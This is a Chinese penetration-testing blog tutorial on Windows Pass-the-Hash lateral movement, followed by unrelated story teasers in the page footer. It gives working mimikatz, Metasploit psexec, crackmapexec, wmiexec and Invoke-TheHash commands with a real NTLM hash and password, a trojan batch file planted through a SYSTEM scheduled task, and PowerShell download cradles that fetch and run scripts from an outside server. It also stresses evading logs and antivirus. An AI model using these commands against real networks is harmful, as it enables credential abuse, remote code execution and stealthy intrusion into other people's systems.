横向渗透之Pass The Hash

前言

在上一章总结了windows抓取hash的一些方式。在实际场景中,我们需要更快的扩大战果,获取更多控制权限,以及定位域环境。

横向渗透

横向渗透:就是在得到一台主机的控制权限后,将该主机作为突破口、跳板,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限。

PTH原理

Pass The Hash 哈希传递简称PTH,可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录。攻击者不需要花费时间来对hash进行爆破,在内网渗透里非常经典。
常常适用于域/工作组环境。

工作组环境

靶机:windows server 2008
IP:10.211.55.19
domain:workgroup
user:administrator
pass:cseroad@2008
NTLM-Hash:82c58d8cec50de01fd109613369c158e

psexec 类工具

原理

psexec类工具大同小异,大部分工具都是通过psexec来执行的。原理是:通过ipc$连接,将psexesvc.exe释放到目标机器,再通过服务管理SCManager远程创建psexecsvc服务,并启动服务。然后通过psexec服务运行命令,运行结束后删除该服务。
如:Metasploit psexec,Impacket psexec,pth-winexe,Empire Invoke-Psexec
缺点:容易被杀软检测到
优点:可以直接获取system权限

工具

因为市面工具比较多,只kali就自带有很多。所以这里以好用、批量为准则选择了几款工具。

mimikatz

mimikatz中pth功能的原理:
windows会在lsass中缓存hash值,并使用它们来ntlm认证,我们在lsass中添加包含目标账号hash的合法数据结构,就可以使用类似dir这些命令进行认证。
正常访问server 2008 的盘符是需要用户名密码的。
在windows7上经过pth之后就不需要密码就可以远程连接。
将获取的hash添加进lsass中。
在windows 7 上执行以下命令:

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:82c58d8cec50de01fd109613369c158e
image.png

执行后会弹出cmd。在cmd下执行net use \\10.211.55.19\c$命令就可以远程连接。

image.png

扩展:
假如我们继续探测到10.211.55.8使用的是同一个hash值。我们尝试使用远程共享c盘和schtasks 定时计划任务执行获取一个session。

dir \\10.211.55.8\c$   查看目标机器的c盘
copy powershell.bat  \\10.211.55.8\c$   将powershell.bat木马复制到目标机器上
schtasks /create /s 10.211.55.8 /tn test /sc onstart /tr c:\powershell.bat /ru system /f   
创建test计划任务,开机时启动c盘下powershell.bat

powershell.bat为

powershell.exe  -c "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')"
image.png

当重启10.211.55.8机器后,metasploit可得到session

image.png
metasploit psexec

笔者经常使用时的是这三个模块

auxiliary/admin/smb/psexec_command       在目标机器上执行系统命令                   
exploit/windows/smb/psexec               用psexec执行系统命令         
exploit/windows/smb/psexec_psh           使用powershell作为payload

以exploit/windows/smb/psexec模块为例

use exploit/windows/smb/psexec
set rhosts 10.211.55.1/24
set smbuser administrator
set smbpass AAD3B435B51404EEAAD3B435B51404EE:82c58d8cec50de01fd109613369c158e
set smbdomain workgroup
run
image.png

值得一说的是smbpass配置项支持明文密码也支持hash(LM-Hash:NTLM-Hash)

image.png

成功返回system权限。

CobalStrike

CobalStrike 同样有psexec选项。
在得到一个beacon的基础上,先在该网段portscan,探测存活主机后。
选择View-->Target-->Login-->psexec,可批量选择主机pth。

image.png
image.png

选择pth的用户名和hash值。

image.png

从执行的命令看得出依然利用的mimikatz。执行成功后返回system权限。

crackmapexec

该工具可以对C段主机批量pth。
项目在github
在kali上直接apt就可以安装

apt-get install crackmapexec

对工作组批量pth命令如下

crackmapexec smb  IP -u user -H hash -d workdroup -x cmd
IP 可以是单个IP也可以是IP段
-u 指定用户名
-H 指定hash
-d 指定域
-x 执行系统命令
image.png

测试的时候发现某些命令执行后没有回显。
更多资料参考:
CrackMapExec:域环境渗透中的瑞士军刀
红队测试工具-CrackMapExec-远程执行Windows命令

wmi 攻击

wmi内置在windows操作系统,用于管理本地或远程的 Windows 系统。wmiexec是对windows自带的wmic做了一些强化。攻击者使用wmiexec来进行攻击时,不会记录日志,不会写入到磁盘,具有极高的隐蔽性。

  1. python 版本
    需要先下载impacket工具包
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .

安装成功后,切换到examples目录下
运行命令为

python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@10.211.55.8 "ipconfig"
image.png
  1. exe 版本
    命令相似:
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@10.211.55.8 "ipconfig"
image.png
  1. powershell 版本
    使用命令为:
powershell -exec bypass
IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.129/Invoke-TheHash/Invoke-WMIExec.ps1');
IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.129/Invoke-TheHash/Invoke-TheHash.ps1');
Invoke-TheHash -Type WMIExec -Target 10.211.55.1/24 -Domain workgroup -Username administrator -Hash 82c58d8cec50de01fd109613369c158e

先加载Invoke-WMIExec.ps1脚本,再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec方法

image.png

如果要执行系统命令。可以加-Command 参数

Invoke-TheHash -Type WMIExec -Target 10.211.55.8  -Domain workgroup -Username administrator -Hash 82c58d8cec50de01fd109613369c158e -Command "calc.exe" -verbose
image.png

执行后该进程会在后台运行,可以结合定时任务执行尝试反弹shell。

kb2871997 补丁

在测试中发现,在打了kb2871997 这个补丁后,常规的Pass The Hash已经无法成功,但默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
以上所有操作均针对的SID 500。

参考资料

内网渗透之PTH&PTT&PTK
横向移动
丢掉PSEXEC来横向渗透

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,723评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,003评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,512评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,825评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,874评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,841评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,812评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,582评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,033评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,309评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,450评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,158评论 5 341
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,789评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,409评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,609评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,440评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,357评论 2 352

推荐阅读更多精彩内容